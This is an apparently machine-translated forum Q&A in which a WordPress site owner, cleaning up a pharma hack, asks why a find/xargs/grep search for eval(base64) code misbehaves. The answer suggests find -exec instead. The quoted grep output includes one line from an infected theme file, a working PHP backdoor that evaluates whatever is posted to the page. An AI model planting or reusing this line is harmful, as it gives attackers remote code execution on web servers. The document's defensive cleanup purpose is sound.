我正在遵循本指南:https://raamdev.com/2013/cleaning-evalbase64_decode-from-a-hacked-wordpress-website-via-ssh/来处理我维护的网站上的制药黑客攻击。
我对shell命令比较陌生,我在使用find命令时遇到了一些问题。
此命令:find . -type f xargs grep 'eval(base64_encode'
返回错误
find: paths must precede expression: xargs
Usage: find [-H] [-L] [-P] [-Olevel] [-D help|tree|search|stat|rates|opt|exec] [path...] [expression]
到目前为止我找到的所有主题都是通过使用单引号或双引号来解决的,但我已经尝试了两个并且没有结果。
谁能告诉我我做错了什么?
修改
我立刻意识到我错过了一根烟斗。 然而,我的新问题是我没有得到我期待的回应。
有人可以帮忙解决这个问题吗?
grep: ./uploads/2012/05/Screen: No such file or directory
grep: Shot: No such file or directory
grep: 2012-05-31: No such file or directory
grep: at: No such file or directory
grep: 13.21.55.png: No such file or directory
grep: ./themes/twentyeleven/footer: No such file or directory
grep: copy.php: No such file or directory
./themes/ocularprofessor/images/in.php: exit(eval(base64_decode(file_get_contents('php ://input'))));
我期待一份可能被感染的文件列表!
答案 0 :(得分:0)
试试这个:
find . -type f -exec grep 'eval(base64_encode' {} \;
原始查找将整个文件列表传递给xargs,然后应该在查找字符串的每个文件上运行grep。
我的版本每次找到文件时都会运行grep。 -type f表示只输出文件名而不是目录,这是有道理的,因为你不能在目录上运行grep - 它只是一个容器。 {}位替换为find和\的文件;是终止执行官(我不会满足于你的全部细节!)
唯一可能出错的其他事情是你没有cd到包含你内容的目录,在这种情况下替换。从哪里开始的完整路径。
你可以通过简单的运行来解决这个问题:
find . -type f
应该吐出您要检查的文件名列表。